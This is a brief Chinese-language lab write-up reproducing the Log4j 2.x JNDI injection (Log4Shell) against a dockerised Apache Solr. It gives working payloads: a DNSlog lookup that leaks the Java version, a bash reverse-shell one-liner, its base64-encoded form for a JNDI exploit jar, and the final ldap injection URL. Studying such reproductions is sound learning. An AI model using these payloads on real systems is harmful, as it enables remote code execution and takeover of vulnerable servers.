一、漏洞详情
影响版本 Apache Log4j 2.x <= 2.14.1
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。
JNDI注入漏洞
JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行。
格式 :
${jndi:rmi//127.0.0.1:1099/a}
表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a上的变量内容。
二、复现过程
搭建docker环境
docker-compose up -d
docker-compose ps
访问端口
在dnslog上获取一个临时域名
构造payload
http://192.168.239.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.wujr3s.dnslog.cn}
刷新一下dnslog
可以看到返回了java的版本,也就是sys:java.version的命令被成功执行
反弹shell
启动监听
下载漏洞利用的jar文件 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
git clone https://github.com/bkfish/Apache-Log4j-Learning.git
#bash反弹命令
bash -i >& /dev/tcp/192.168.239.128/19999 0>&1
用base64进行编码
注意这里一定要进到正确的目录下面!!不然会报错
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzOS4xMjgvMTk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.239.128"
我们使用生成的payload
这里我选了第二个,其实都一样
构造payload
http://192.168.239.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.239.128:1389/n4fk6l}
回车!
发现监听成功了
三、总结
在反弹shell那边卡了好一会,一开始就没搞懂要干嘛,果然还是学术不精。
睡觉了睡觉了,明天又是新的学习日。
good good study,day day up。